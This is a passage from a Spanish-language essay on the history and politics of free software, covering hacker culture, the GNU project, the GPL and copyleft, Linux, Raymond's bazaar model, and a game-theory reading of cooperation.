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3. A lo largo de este artículo usaré el término hacker no en el sentido massmediá-
tico y distorsionado de “pirata informático”, sino en su acepción original, tal y
como la define por ejemplo Eric Raymond: “Existe una comunidad, una cultura
compartida, de programadores expertos y gurús de redes, cuya historia se puede
rastrear décadas atrás, hasta las primeras minicomputadoras de tiempo comparti-
do y los primigenios experimentos de ARPAnet. Los miembros de esta cultura acu-
ñaron el término hacker. Los hackers construyeron la Internet. Los hackers hicieron
del sistema operativo UNIX lo que es en la actualidad. Los hackers hacen andar
USENET. Los hackers hacen que funcione la WWW. Si tú eres parte de esta cultu-
ra, si tú has contribuido a ella y otra gente te llama hacker, entonces tú eres un
hacker.”
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hacer nuevos programas... El desarrollo de bienes públicos basados en
ese modelo fue exponencial hasta el punto de que gran parte de la tec-
nología en la que se basa hoy Internet –desde el sistema operativo UNIX
hasta los protocolos de red– procede de esos años. 

Pero, a principios de los años ochenta, ese modelo entra en crisis, y
rápidamente comienza a emerger un modelo privatizador y mercanti-
lista. Los ordenadores, hasta entonces escasos, caros y poco potentes, se
hacen asequibles, cada vez más baratos y potentes y aparece un nuevo
negocio, el de los productores de software. Los programas se empeza-
ron a vender como productos comerciales independientes de las máqui-
nas y sólo con el código binario, para ocultar las técnicas de programa-
ción a la competencia. La nueva industria del software comienza a apo-
yarse en la legislación sobre propiedad intelectual. El mundo UNIX se
fragmenta en diversas versiones privatizadas y progresivamente
incompatibles entre sí, que los programadores no pueden modificar. Lo
que era práctica habitual, se convirtió en un delito: el hacker que com-
partía el código y cooperaba con otras personas pasó a ser considerado
un “pirata”. 

Al tiempo que los sistemas van haciéndose incompatibles entre sí,
la comunidad de investigadores se va desmembrando poco a poco.
Muchos hackers ficharon para empresas y firmaron contratos en los que
se comprometían a no compartir con nadie de fuera los “secretos de
fabricación” (el código fuente). Por su parte, los laboratorios de investi-
gación comenzaron a hacer lo mismo y obligaban a sus hackers a sus-
cribir el mismo tipo de cláusulas. Para cerrar el círculo, los compilado-
res, los depuradores, los editores y demás herramientas imprescindibles
para programar eran propietarios y se vendían a precios respetables: se
trataba de que la programación “de verdad” sólo estuviese en manos de
la naciente industria de software. 

Hubo hackers que no aceptaron esta nueva situación y continuaron
con sus prácticas pero parecía solo una cuestión de tiempo que la indus-
tria del software propietario arrinconara y dejara definitivamente fuera
de la ley la cultura cooperativa y confiada de las primeras comunidades
de hackers.4 Este contexto sirve de base y explica el auge posterior del
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4. “Muchos programadores están descontentos con la comercialización de
software de sistema. Esta puede permitirles ganar más dinero, pero les requiere
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imperio Microsoft y similares: estaba naciendo el negocio del software
propietario y la próspera industria de los ordenadores personales. 

3. El proyecto GNU 

Son los primeros años ochenta y seguiré la pista de algunos de esos
programadores que habían conocido la vieja cultura hacker de los años
setenta y que no se plegaron a los designios privatizadores de la indus-
tria del software.5 De hecho, consideraron la privatización un verdade-
ro atentado a los mismos cimientos del proceso de conocimiento. Se
cuestiona que la propiedad intelectual sea un derecho natural, y se per-
cibe como una práctica socialmente indeseable.6

Con ese planteamiento nace el Proyecto GNU (acrónimo recursivo
que significa GNU’s Not UNIX, o sea, “GNU No es UNIX”) de la mano
de Richard M. Stallman, un hacker del emblemático Laboratorio de
Inteligencia Artificial del Massachusetts Institute Technology (MIT). Era
el año 1984, Stallman abandona el MIT para que no interfiera en sus pla-
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sentirse en conflicto con otros programadores en general en vez de sentirse como
camaradas. El acto fundamental de amistad entre programadores es el compartir
programas; ahora se usan típicamente arreglos de marketing que en esencia prohí-
ben a los programadores tratar a otros como sus amigos. El comprador de
software debe escoger entre la amistad y la obediencia a la ley. Naturalmente,
muchos deciden que la amistad es más importante. Pero aquellos que creen en la
ley a menudo no se sienten bien con ninguna de las dos opciones. Se vuelven cíni-
cos y piensan que la programación es sólo otra forma de hacer dinero.” 
(R. Stallman, “El Manifiesto GNU”, 1985 [en
http://www.gnu.org/gnu/manifesto.es.html]).
5. “Considero que la regla de oro me obliga a que si me gusta un programa lo deba
compartir con otra gente a quien le guste. Los vendedores de software quieren
dividir a los usuarios y conquistarlos, haciendo que cada usuario acuerde no com-
partir su software con otros. Yo me niego a romper mi solidaridad con otros usua-
rios de esta manera. No puedo en buena conciencia firmar un acuerdo de no divul-
gación [nondisclosure agreement] o un acuerdo de licencia de software.” (R. Stallman,
“El Manifiesto GNU”)
6. “Extraer dinero de los usuarios por un programa con base en la restricción del
uso que se le dé es destructivo porque las restricciones reducen la cantidad y las
formas en que el programa puede ser utilizado. Esto reduce la cantidad de riqueza
que la humanidad deriva del programa. Cuando se opta deliberadamente por res-
tringir, las consecuencias dañinas son destrucción deliberada. 

“La razón por la que un buen ciudadano no utiliza estos medios destructivos
para volverse más rico es que, si todos lo hicieran, podríamos empobrecernos todos
por la destrucción mutua. Esta es ética kantiana; o la Regla de Oro.” (R. Stallman,
“El Manifiesto GNU”)
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nes y, junto a otros hackers interesados en el proyecto GNU, crea la Free
Software Foundation (FSF) en 1985: comienza una labor metódica y dis-
creta, guiada por una asombrosa visión estratégica.7

El proyecto GNU se propuso a la sazón una tarea titánica: construir
un sistema operativo libre completo. No es sencillo expresar en pocas
palabras la enorme dificultad que comporta un proyecto así, sólo al
alcance de unas cuantas empresas con miles de programadores a suel-
do. No digamos ya si no se dispone de herramientas para hacerlo.
Stallman tuvo que empezar casi desde cero, sin modelo bazar, pues no
existía la universalizada red Internet tal y como hoy la conocemos; tam-
poco existía una comunidad de desarrolladores lo suficientemente gran-
de y ni siquiera se disponía de un compilador libre para empezar el tra-
bajo. Una analogía es construir una casa sin disponer apenas de herra-
mientas, por lo que primero hay que fabricarlas: desde picos y palas
hasta ladrillos y cemento. Eso sí, contaba con algún material reciclable
de “otras casas” –grandes fragmentos de código UNIX y una cultura de
reutilizar código. Stallman y la FSF merecen por tanto un reconoci-
miento especial en esta historia, pues sin compilador, depurador y edi-
tor libres no habría sido posible lo que vino después, incluyendo el pro-
pio Linux. 

Con todo lo importante que eran esas herramientas, no fue ni
mucho menos la principal aportación de la FSF. Y es que los hackers que
impulsaron el Proyecto GNU en aquellos años no se conformaron con
su trabajo de desarrolladores, ya de por sí formidable. Se dieron cuenta
de que necesitaban algo más que crear herramientas de software que
dieran libertad a los programadores. Para que el trabajo no fuera estéril
y fácilmente reapropiable por intereses privados, precisaban además
defender esa libertad en el terreno político y jurídico. El “Manifiesto
GNU” (1985), escrito por el propio Richard Stallman, es la declaración
de principios e intenciones del proyecto; inspirada en sus principios, se
lanza en 1989 la primera versión de lo que fue posiblemente el mejor
logro de la FSF y significativamente no en el terreno informático, sino en
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7. Esta historia la narra con detalle el propio Stallman en “The GNU Operating
System and the Free Software Movement”, en AA.VV., Open Sources: Voices from the
open source revolution, Sebastopol [EE.UU.], O’Reilly & Associates, 1999 [hay ver-
sión en internet: http:/www.sindominio.net/biblioweb/telematica/open-sources-
html/node42.html].
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el ámbito jurídico: la GPL (General Public License) o Licencia Pública
General.8

4. La GPL: copyleft para tod@s 

Utilizando un brillante juego de palabras, tan del gusto de los
hackers, Stallman inventa el concepto de copyleft, con el propósito polí-
tico de garantizar la libre circulación de los saberes contenidos en el
software y la posibilidad de que todos contribuyan a su mejora.  El
copyleft se sirve de las leyes internacionales del copyright para darles la
vuelta (all rights reversed: “todos los derechos del revés”) pues protege
el uso en lugar de la propiedad. El autor se reserva los derechos para
que su obra pueda ser utilizada por cualquiera con la única condición
de que nadie recorte o elimine esos derechos de libre uso: en el momen-
to en que alguien suprima o añada nuevas condiciones que limiten en
algo su disponibilidad (por ejemplo, distribuyendo código binario
modificado sin posibilidad de acceder a las fuentes modificadas) estaría
vulnerando la licencia y perdería el derecho a servirse de ese software.
Obligando a transferir esos derechos a cualquiera que copie ese
software, lo modifique o no, se beneficia quien está de acuerdo con man-
tener su futuro trabajo con copyleft, mientras que quien quiera desarro-
llar software propietario no podrá utilizar código libre y deberá empe-
zar desde cero. 

La GPL o Licencia Pública General es la plasmación jurídica del
concepto copyleft. Con el tiempo, la GPL se ha convertido en el cimien-
to del software libre, su baluarte legal, y para muchos constituye un
extraordinario ejercicio de ingeniería jurídica: con la GPL se asegura que
trabajos fruto de la cooperación y de la inteligencia colectiva no dejen
nunca de ser bienes públicos libremente disponibles y que cualquier
desarrollo derivado de ellos se convierta como por ensalmo en público
y libre. La GPL se comporta de un modo “vírico” y, como un rey midas
del software, convierte en libre todo lo que toca, es decir, todo lo que se
deriva de ella. 
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8. Hay varias traducciones no oficiales al castellano de la Licencia Pública General
de GNU, por ejemplo en http://lucas.hispalinux.es/Otros/gples/gples.html. Puede
leerse la versión original en inglés (única con valor legal) en
http://www.gnu.org/licenses/gpl.html.
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Junto al modelo copyleft, hay otros desarrollos de software libre
que no son copyleft y considerados menos “estrictos” en cuanto a la
licencia, cuya mayor diferencia con el copyleft es que no insisten en que
el código derivado tenga que seguir siendo libre. Es el caso de las licen-
cias tipo BSD9 y las de tipo X11/XFree86: no ponen el énfasis en asegu-
rarse que el software libre siga siéndolo, pues los partidarios de
Berkeley consideran que de algún modo eso ya es limitar derechos.
Posiblemente, es una postura que se acerca al anticopyright y a la
noción de “dominio público” (un bien que jurídicamente no es de
nadie), pero es menos comprometida –al menos en cuanto a la licencia–
en garantizar que el software libre no deje de serlo. En la práctica y
dejando los matices de tipo jurídico, tanto las licencias tipo BSD-
XFree86 como la GPL son el baluarte del software libre y ambas repre-
sentan un referente ético y práctico alternativo al software propietario. 

5. Linux 

Disponiendo de la GPL y de poderosas herramientas informáticas
libres llegamos a los años noventa, con un sistema operativo GNU ya
casi completo. Faltaba el kernel o núcleo de sistema, una pieza funda-
mental y muy compleja que se iba retrasando más de lo debido por la
enorme dificultad de la empresa y por la escasez de voluntarios que tra-
bajasen en ello (hay que recordar que la mayor parte de los hackers han
escrito su código en ratos libres). 

Por aquel entonces, por su cuenta y riesgo y sin ninguna relación
con la FSF, un estudiante finlandés llamado Linus Torvalds decide
ponerse a escribir un kernel que pueda funcionar y sacar todo el parti-
do de la arquitectura de 32 bits de los nuevos procesadores i386. Cuenta
con las herramientas GNU para hacerlo, y con un desarrollo UNIX para
los PC de 16 bits de entonces (minix). Por primera vez hay máquinas
disponibles a nivel personal y a precio asequible capaces de trabajar con
un sistema multitarea. Linus decide entonces hacer un llamamiento a
través de las news para quien quiera ayudarle en el desarrollo. A los
pocos meses (1992), son unos cientos de entusiastas hackers de todo el
mundo, coordinados a través del correo electrónico y de las news y sin
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9. http://www.freebsd.org/copyright/
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ningún interés económico, los que consiguen el milagro. A un ritmo fre-
nético y en medio de un caos aparente, van dejando versiones en los
repositorios FTP de Internet para que la gente las pruebe, las estudie o
las mejore. Linus pone el desarrollo del kernel bajo la GPL y el proyec-
to GNU se pone a trabajar para integrar el nuevo kernel con el resto del
sistema. Desde entonces la historia es bien conocida: a principios del
año 2000 son probablemente más de mil hackers los que dan soporte al
kernel y se calculan veinte millones de usuarios del conjunto
GNU/Linux. En suma, disponemos libre y gratuitamente de un sistema
operativo completo, potentísimo y fiable como el que más, que doblega
a las grandes firmas y desafía a muy corto plazo al ubicuo imperio de
las VentanasTM con miles de programas en constante evolución (la últi-
ma distribución GNU/Linux del Proyecto Debian10 recopila más de
4500 paquetes de código libre). 

Si bien es el más conocido, el núcleo Linux no es el único ejemplo
del increíble éxito del software libre: por ejemplo, el 62% de los servi-
dores web de Internet (equivalente a diez millones de sitios web, según
el último estudio de Netcraft,11 correspondiente a junio de 2000) se basa
en un software libre llamado Apache, o en alguna versión modificada
del mismo. Apache lo desarrollaron en un tiempo record un grupo de
webmasters y ha minimizado el uso de los servidores propietarios de
Microsoft y Netscape (en el mismo estudio de Netcraft aparece en
segundo lugar, muy lejos de Apache, el IIS de Microsoft con un 20,36%
de los servidores web y tercero Netscape-Enterprise con solo un 6,74%).
Muchas otras utilidades y aplicaciones basadas en software libre operan
en servidores de todo el mundo y, de modo silencioso y transparente
para el usuario de a pie, garantizan el funcionamiento cotidiano de
Internet y de otras muchas redes y sistemas informáticos, libres de los
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10. El Proyecto Debian nació bajo los auspicios de la Free Software Foundation en
1993, con el objetivo de juntar la piezas GNU y construir un sistema operativo libre
completo. Hoy día es un proyecto independiente de la FSF pero mantiene sus obje-
tivos fundacionales, lo cual la hace totalmente singular dentro de las distribuciones
GNU/Linux: es la única basada exclusivamente en software libre y es la única de
carácter no comercial. Debian se mantiene y desarrolla de manera distribuida
mediante la cooperación desinteresada de más de 300 hackers de todo el mundo y
dispone de una comunidad de miles de usuarios coordinados a través de más de
cincuenta listas de correo públicas extraordinariamente activas.
11. http://www.netcraft.com/survey/
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virus y agujeros de seguridad que periódicamente atormentan a los
inseguros sistemas basados en Windows. Disponer del código fuente
permite localizar errores y corregirlos, e incluso detectar la existencia de
código malicioso (virus, puertas traseras, troyanos) que las empresas y
grupos de poder pueden eventualmente introducir en los programas y
sistemas operativos cerrados como forma de control y de asalto a la pri-
vacidad.12

El responsable de esta revuelta antipropietaria (“Linux es subversi-
vo”: así empieza La catedral y el bazar) no es Linus Torvalds ni Richard
Stallman ni la FSF, ni universidad, gobierno o institución alguna, ni
menos aún las empresas que ahora cotizan en el Nasdaq con “Linux”
como bandera. El responsable de todo esto es la propia comunidad de
usuarios del sistema. En el caso de Linus Torvalds, su mayor mérito y
por lo que debe ser reconocido sin discusión no es por el kernel Linux,
por extraordinario que sea este, sino por el “modelo bazar”, la genial
intuición de ingeniero que tuvo para ponerlo a tope de vueltas en el
momento justo (sin la explosión de Internet y de los ordenadores per-
sonales no habría sido posible). Linus ha llevado probablemente hasta
sus límites el modelo bazar y lo ha exprimido al máximo, aunque justo
es decir que para nada lo inventó, pues desde siempre formaba parte de
algunos entornos UNIX y de la práctica de determinadas comunidades
científicas y académicas (como Bell Labs, el MIT AI Lab o la
Universidad de California en Berkeley), que lo aplicaron y obtuvieron
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12. Un caso paradigmático ha sido el archifamoso gusano LoveLetter (alias
“Iloveyou”), que infectó a varios millones de ordenadores conectados a Internet a
principios de mayo de 2000.

Con un despliegue a partes iguales de sensacionalismo e ignorancia, las porta-
das de los medios de comunicación de todo el mundo se hicieron eco de este hecho
como de un problema que ponía de manifiesto una supuesta falta de seguridad de
Internet. Ni ellos ni ninguno de los autodenominados expertos de empresas anti-
virus señalaron en ningún caso que el “peligrosísimo virus” era un sencillo script
de menos de 300 líneas escrito en VisualBasic, inocuo por tanto para las tres cuar-
tas partes de los servidores de Internet, basados en sistemas UNIX. Para eludir toda
responsabilidad, Microsoft insistía en que no se trataba de ningún error de diseño
en sus aplicaciones. De ese modo y sin advertirlo, Microsoft estaba reconociendo
implícitamente que el gusano “I love you” no explotaba agujero alguno, simple-
mente aprovechaba las facilidades inherentes a la concepción de Windows: es pues
Microsoft, y no Internet, el que convierte las PC caseras en absolutamente insegu-
ras y pone los datos de sus incautos usuarios al alcance del más inexperto script
kiddy.
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éxitos legendarios: pero nadie antes que Linus lo había lanzado a esca-
la planetaria, fuera del ámbito científico y con ese formidable grado de
intensidad y productividad. Se puede afirmar sin temor a exagerar que
el sistema operativo libre GNU/Linux es la obra más importante que
hasta ahora ha producido Internet. 

6. El modelo bazar 

Actualmente y gracias al proyecto en torno al kernel Linux, el prin-
cipal modelo de desarrollo del software libre es el “modelo bazar”. Fue
descrito por Eric S. Raymond en su ya clásico La catedral y el bazar13

(1997) y sin duda constituye una aportación singular en este capitalismo
de fin de siglo. Raymond contrapone el modelo bazar a un modelo de
producción de software al que denominó “modelo catedral”,14 basado
en la necesidad de un arquitecto al mando de un staff rígidamente
estructurado y jerarquizado y el estricto control de errores previo a la
publicación. A juicio de Raymond, el modelo catedral no sólo corres-
ponde a la industria del software propietario, sino a algunos de los
grandes desarrollos libres que ha avalado la FSF. 

Según Raymond, el modelo bazar de programación se resume en
tres máximas: 1) liberar rápido y a menudo; 2) distribuir responsabili-
dades y tareas todo lo posible, y 3) ser abierto hasta la promiscuidad
para estimular al máximo la cooperación. Incluso cumpliendo esas
máximas, no siempre es posible el modelo bazar: sólo puede darse en
un entorno de libertad, cooperación, comunidad y disponiendo del
código abierto. El bazar encuentra dificultad para producir cooperación
cuando se empiezan proyectos desde cero o cuando se ensaya en grupos
reducidos demasiado heterogéneos o con mucho desnivel de conoci-
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13. http://es.tldp.org/Otros/catedral-bazar/cathedral-es-paper-00.html#toc1/
14. Nombre desafortunado para describir el fenómeno, pues la construcción de las
catedrales góticas se debía a los compagnons, colectivos nómadas e itinerantes del
tipo albañiles, carpinteros, herreros, etc. que las construían aquí y allá, diseminan-
do las obras, sin división entre trabajo manual e intelectual y con una planificación
y construcción descentralizada y autónoma: “Al plano sobre el suelo del compag-
non gótico se opone el plano métrico sobre el papel del arquitecto exterior a la
obra.” (Gilles Deleuze y Félix Guattari, Mil mesetas, Valencia, Pre-Textos, 1988).
Sería pues más exacto denominar “modelo pirámide” o “modelo rascacielos” al
modelo jerárquico y planificado que describe Raymond en su artículo.
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miento, por lo que a menudo encontramos fórmulas mixtas entre el
bazar y la catedral. 

A juicio de Raymond, el modelo bazar es mucho más eficaz y pro-
duce un software de mayor calidad con menor gasto de recursos, lo que
por sí solo ya justificaría la aplicación masiva del modelo en la industria
del software. Sin dejar de reconocer esto, la gente que sigue los postula-
dos de la FSF, insiste en que la calidad del código libre ha sido un ele-
mento “extra” y no es la razón de ser del software libre, ya que más
importante que la potencia y la fiabilidad técnica es la libertad, el bien
social y la comunidad autogestionada de usuarios y desarrolladores a
que da lugar, sin precedentes en ningún otro ámbito, que por primera
vez lleva la iniciativa y el total control tecnológico sobre lo que usa. 

En todo caso, con bazar o sin él y más allá de su demostrado éxito
a nivel organizativo y técnico, el software libre desafía la lógica intere-
sada y mercantilista que parecía definitivamente asentada en lo social.
Alguien podría objetar que los procesos de cooperación no son una
novedad en el capitalismo avanzado y que de hecho son parte impres-
cindible del modelo de organización posfordista.15 Pero este último
precisa cooperación sujetada, orientada únicamente a la extracción de
beneficio, en ningún caso autodeterminada. La novedad que introduce
el software libre es que pone en funcionamiento un modelo de coopera-
ción sin mando. No hay intereses empresariales directos, es general
intellect puro, ingobernable y libre del mando.16 Es más, la ausencia de
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15. En el plano de los procesos productivos y de las formas de mando sobre la coo-
peración social, algunas corrientes de pensamiento denominan posfordismo al con-
junto de transformaciones que a partir de mediados de los años setenta conducen
a la informatización de lo social, la automatización en las fábricas, el trabajo difu-
so, la hegemonía creciente del trabajo inmaterial, del general intellect y del llama-
do terciario (comunicativo, cognitivo y científico, performativo, afectivo) y la glo-
balización de los procesos productivos.
16. En los Grundrisse, texto que prefigura nuestra época con más de cien años de
antelación, Karl Marx recurre al término general intellect (o “intelecto general”) para
designar el conjunto de los conocimientos abstractos (de “paradigmas epistemoló-
gicos”, diríamos hoy) que, al mismo tiempo, constituyen el epicentro de la pro-
ducción social y organizan todo el contexto de la vida. Un “cerebro” o intelecto
general, basado en la cooperación y el saber abstracto, incluyendo el saber científi-
co, que tiende a volverse, en virtud precisamente de su autonomía en relación a la
producción, ni más ni menos que la principal fuerza productiva, relegando a una
posición marginal al trabajo parcelizado y repetitivo de la producción industrial.
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mando, de control corporativo o jerárquico, parece condición sine qua
non: allí donde reaparece el mando –sea en forma de interés propieta-
rio, sea en su variante autoritaria–, el modelo se marchita, se agosta y
acaba por desaparecer. Como el pájaro bobo (el pingüino), sólo puede
vivir en libertad. Nadie da órdenes, nadie acepta órdenes. Y sin embar-
go, la gente se coordina, se organiza, hay gurús, “líderes”, gente que
dirige proyectos: pero es autoridad conferida, no es mando. Funciona
una especie de “economía del regalo”, en la cual se es más apreciado
cuanto más se aporta a la comunidad. Nadie puede exigir, no hay garan-
tía, no hay dinero como estímulo para el trabajo,17 aunque haya gente
que cobre por su trabajo o gane dinero mediante Linux, pues ninguna
objeción hay en la comunidad para que los hackers puedan ser remu-
nerados por su trabajo. Todo este “bazar” caótico de listas y grupos dis-
persos de voluntarios por Internet produce el mejor software, complejí-
simo software cuyo desarrollo no está al alcance ni de la empresa más
poderosa del planeta. Porque la comunidad del software libre es ya la
empresa de software más poderosa del planeta. 

7. La teoría de juegos

¿Cómo es esto posible? ¿Por qué ganan las estrategias altruistas a
las egoístas en el software libre? ¿Por qué la gente no trata simplemen-
te de extraer el máximo beneficio económico como enseña el capitalis-
mo? ¿Por qué los pragmáticos no se limitan a tratar de aprovecharse y
en la práctica cooperan como el que más (aunque ideológicamente no lo
reconozcan)? 

Desde la propia comunidad del software libre ha habido intentos de
explicar estos fenómenos a través de la teoría de los juegos.18 Y cierta-
mente, el clásico dilema entre “bien colectivo” versus “actitud egoísta”
es superado por un axioma que recuerda vagamente al “dilema del pri-
sionero” de la teoría de juegos: la cooperación es preferible también
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17. “De hecho, mucha gente va a programar sin absolutamente ningún incentivo
monetario. La programación tiene una fascinación irresistible para algunas perso-
nas, generalmente para las mejores en el ramo.” (R. Stallman, “El Manifiesto
GNU”).
18. Ver por ejemplo el artículo de Juan Antonio Martínez, “Software libre: una
aproximación desde la teoría de juegos”, en Linux Actual, Nº 11. 
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desde una perspectiva egoísta. Y, al igual que sucede en el dilema del
prisionero, esto no siempre es evidente de primeras. Inventado hace
medio siglo por especialistas de la teoría de juegos, el “dilema del pri-
sionero” se utilizó para estudiar el concepto de elección racional y para
ilustrar el conflicto existente entre beneficio individual y bien colecti-
vo.19

En la teoría de juegos tradicional, la estrategia ganadora es la lla-
mada Tit for Tat (“donde las dan las toman”): “sólo coopero si el otro
coopera”. Es también la más simple, se comienza cooperando en la pri-
mera jugada y después simplemente se copia el movimiento previo del
otro jugador. Los teóricos de juegos consideran que Tit for Tat reúne dos
rasgos que identifican a las estrategias ganadoras y que juntas la hacen
ganar en todas las pruebas realizadas por ordenador contra estrategias
mucho más sofisticadas y mas “sucias” (egoísmo no cooperativo): es
amable y es clemente. Una estrategia amable es aquella que nunca es la pri-
mera en ser egoísta. Una estrategia clemente es la que puede vengarse
pero tiene mala memoria, es decir, tiende a pasar por alto antiguas ofen-
sas (se venga inmediatamente de un traidor o egoísta, pero después
olvida lo pasado). No se olvide que es amable en sentido técnico, no
moral, pues no perdona en absoluto. Tit for Tat tampoco es “envidiosa”,
que en la terminología de Robert Axelrod significa que no desean más
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19. Los creadores del “dilema del prisionero” lo ilustraron así: dos personas dete-
nidas y sospechosas de cometer un delito son puestas en celdas separadas e inte-
rrogadas. Cada uno es invitado a traicionar a su colega, convirtiéndose en un arre-
pentido. Lo que suceda depende de lo que hagan ambos prisioneros y ninguno
sabe lo que ha dicho el otro. Si los dos se callan (es decir, si cooperan entre sí, según
la teoría de juegos), serán condenados a una pena mínima de un año por falta de
pruebas. Si se denuncian uno al otro (es decir, no cooperan entre sí, según la teoría
de juegos) cumplirán una pena de tres años. Pero si sólo uno denuncia al otro, reci-
birá una recompensa (y quedará libre), mientras que su cómplice se pudrirá entre
rejas durante cinco años. Ante este dilema -suponiendo que ambos están motiva-
dos por el interés racional y que no pueden hablarse para pactar entre sí- parece
que la única opción racional es acusarse mutuamente para minimizar la pena (será
liberado si su cómplice se calla y cumplirá tres años si habla; en cambio pueden
caerle cinco años si calla y su cómplice habla). La opción más racional les hará acu-
sarse mutuamente y recibir una pena mayor. A menos que el jugador sea un incau-
to, tendrá que descartar la solución más deseable para ambos -la cooperación (o sea
permanecer callados)-. Este dilema sin salida ha vuelto locos a generaciones de teó-
ricos de juegos, y solo con una variante llamada el “dilema del prisionero repeti-
do”, que consiste en poderlo jugar varias veces y observar el comportamiento del
otro, encontraron una condición de salida. 
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recompensa que los demás y se siente feliz si el otro tiene el mismo pre-
mio que uno mismo (de hecho Tit for Tat, nunca gana un juego, como
máximo empata con su oponente): en el software libre significa desear
que todos tengan las mismas libertades de que dispone uno mismo. Que
lo más eficaz sea ser amable y clemente parecía desafiar todo sentido
común y constituyó toda una sorpresa para los matemáticos, psicólo-
gos, economistas y biólogos que han estudiado a fondo las diversas
estrategias de la teoría de juegos.20 Esta conclusión, que abrió una
nueva dirección de análisis, se ha confirmado una vez tras otra en los
estudios y torneos organizados por el politólogo estadounidense Robert
Axelrod: siempre acaban ganando las estrategias amables y clementes y
siempre salen derrotadas las estrategias “sucias”. Por su parte, biólogos,
genetistas y etólogos están cada vez más convencidos de que la “coope-
ración egoísta” es la dominante en la naturaleza. 

De acuerdo a la teoría de juegos, los individuos del Tit for Tat, coo-
perando entre sí en acogedores y pequeños enclaves locales, pueden
prosperar hasta pasar de pequeñas agregaciones locales a grandes agre-
gaciones locales. Estas agregaciones pueden crecer tanto que se extien-
dan a otras áreas hasta entonces dominadas, numéricamente, por indi-
viduos egoístas que juegan al “Voy a lo mío”. A su vez, la cooperación
es un fenómeno que produce realimentación positiva: nadie que disfru-
te de los beneficios del software libre puede dejar de promover su uso.
Por eso la comunidad conserva cierto tono proselitista, además de por
una percepción más o menos generalizada de que la potencia y el futu-
ro del modelo depende muy directamente de que haya mucha gente
participando activamente en su desarrollo.21

Sin embargo, el modelo Tit for Tat no caracteriza totalmente al
software libre, al menos no de una manera canónica. Por un lado, es
libre incluso para quienes no cooperan (esto le da valor ético, pero le
aleja del Tit for Tat). Por otro lado, aunque el copyleft permite que cual-
quiera se beneficie, no permite que nadie se lo apropie o que se use para
crear software propietario (esto le da valor pragmático y le aproxima al
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20. Ver la obra de Richard Dawkins, El gen egoísta, publicado en su segunda edición
[en inglés] en 1989 [trad. cast.: Barcelona, Salvat, 1993]. Especialmente relevante
para este asunto es el capítulo “Los buenos chicos acaban primero”.
21. Juan Antonio Martínez, op. cit.
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Tit for Tat). La estrategia del software libre es “amable” y “clemente” a
la vez, pero –a diferencia del Tit for Tat– es capaz de asumir en su seno
estrategias egoístas sin necesidad de expulsarlas o vengarse de ellas
(salvo quizá en casos en que se percibe un verdadero peligro, como que
alguna empresa poderosa adoptase posiciones descaradamente egoístas
no cooperativas, por ejemplo vulnerando la GPL). 

En el software libre, convive un planteamiento basado exclusiva-
mente en la eficacia, en la superioridad técnica y productiva que genera
el modelo bazar, con otro que sitúa en primer plano la cooperación, la
ética y la libertad. La postura pragmática, que hay quien ha calificado
críticamente como “realpolitik”,22 rechaza cualquier formulación ética
del modelo y sólo acepta como ideología las reglas del laissez-faire pro-
pias del liberalismo más ortodoxo. Este planteamiento apoya y potencia
decididamente el software libre, porque ha verificado que su resultado
es más eficaz, no porque valore la cooperación en términos de produc-
ción de bienes públicos o de beneficio social ni porque considere inmo-
ral el modelo propietario.23 Incluso puede que solo le interese la coo-
peración social como poderosa máquina al servicio del capitalismo. Esta
parte del modelo probablemente es la que se ajusta mejor a la teoría de
juegos de acuerdo al concepto de la cooperación egoísta: las empresas coo-
peran porque a la larga obtendrán más beneficios y los individuos coo-
peran porque apoyando el modelo dispondrán de mejores aplicaciones. 
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22. “Todas las confusiones y parcialidades que aparecen en los artículos de Eric
Raymond son típicos de su elección de la ‘política real’ como principio de actua-
ción en su activismo en pro del software libre. Un ejemplo de esta elección es haber
cambiado con efectos retroactivos en sus artículos y conferencias el término
software libre por open source. No discrepo de la noción de ser eficaz promovien-
do el software libre. Pero me opongo a acciones que pueden resultar atajos válidos
a corto plazo y causar perjuicios a la larga, ya que en estos casos, en la búsqueda
de un éxito puntual, se opta por apoyar fenómenos esencialmente erróneos en
lugar de combatirlos.” (François René Rideau, “Sobre los artículos de Eric S.
Raymond”, 1998)
23. “Es posible que a largo plazo triunfe la cultura del software libre, no porque la
cooperación es moralmente correcta o porque la ‘apropiación’ del software es
moralmente incorrecta (suponiendo que se crea realmente en esto último, lo cual
no es cierto ni para Linus ni para mí), sino simplemente porque el mundo comer-
cial no puede ganar una carrera de armamentos evolutiva a las comunidades de
software libre, que pueden poner mayores órdenes de magnitud de tiempo califi-
cado en un problema que cualquier compañía.” (Eric Raymond, La catedral y el
bazar).



COOPERACIÓN SIN MANDO

Junto a este planteamiento coexiste un acercamiento ético o altruis-
ta. Conviene no confundirlo con un altruismo de base moral, religiosa o
metafísica, sino de una ética materialista que considera la libertad y la
cooperación social el mejor modo de defender algo que es bueno para
todos y que encuentra otros estímulos diferentes al beneficio económi-
co.24 Dicho de otro modo, no se trata de una historia de “altruistas” y
“egoístas”, de “buenos” y “malos”, que como tantos otros dilemas
morales se han mostrado inoperantes por falsos: pero hay una cuestión
política de fondo muy importante que los diferencia claramente y es la
de si el software –y, en general, el saber humano– puede o no puede ser
privatizado. Mientras para el sector pragmático esto no es relevante,
para Stallman y quienes abogan por la visión ética esto es una cuestión
central e innegociable: el software, a diferencia de los bienes materiales,
no puede ser poseído, pues puede ser disfrutado por un número inde-
terminado de personas sin que por ello haya que privar a nadie de
tenerlo a su vez.25 Ese es el núcleo del dilema, de la diferencia, y el que
comporta acercamientos tan dispares al software libre. 

La teoría de juegos funciona a nivel estadístico y se basa en estrate-
gias inconscientes de base algorítmica (las pueden ejecutar máquinas,
genes o seres humanos): no aplica pues criterios morales o finalistas ni
trata de dar cuenta de los casos particulares, ni de las motivaciones de
cada cual para cooperar o para ser egoísta, sino que nos ofrece algo más
sutil y valioso: la comprensión de un proceso y el cuestionamiento de un
mito capitalista y neoliberal, el del juego sucio y el “todos contra todos”,
el de que es mejor que cada uno vaya a lo suyo y solo se atienda a los
intereses privados. Las conclusiones de la teoría de juegos –pese a care-
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24. “No hay escasez de músicos profesionales que sigan en lo suyo aunque no ten-
gan esperanzas de ganarse la vida de esta forma. [...] Durante más de diez años,
varios de los mejores programadores del mundo trabajaron en el Laboratorio de
Inteligencia Artificial [del MIT] por mucho menos dinero del que podían ganar en
otras partes. Ellos obtenían varios tipos de premios no monetarios: fama y aprecio,
por ejemplo. Y la creatividad también se disfruta, es un premio en sí mismo.”
(Richard Stallman, “El Manifiesto GNU”)
25. “Como no me gustan las consecuencias que resultan si todos acapararan infor-
mación, debo considerar como erróneo que alguien lo haga. Específicamente, el
deseo de ser recompensado por la creatividad de uno no justifica el privar al
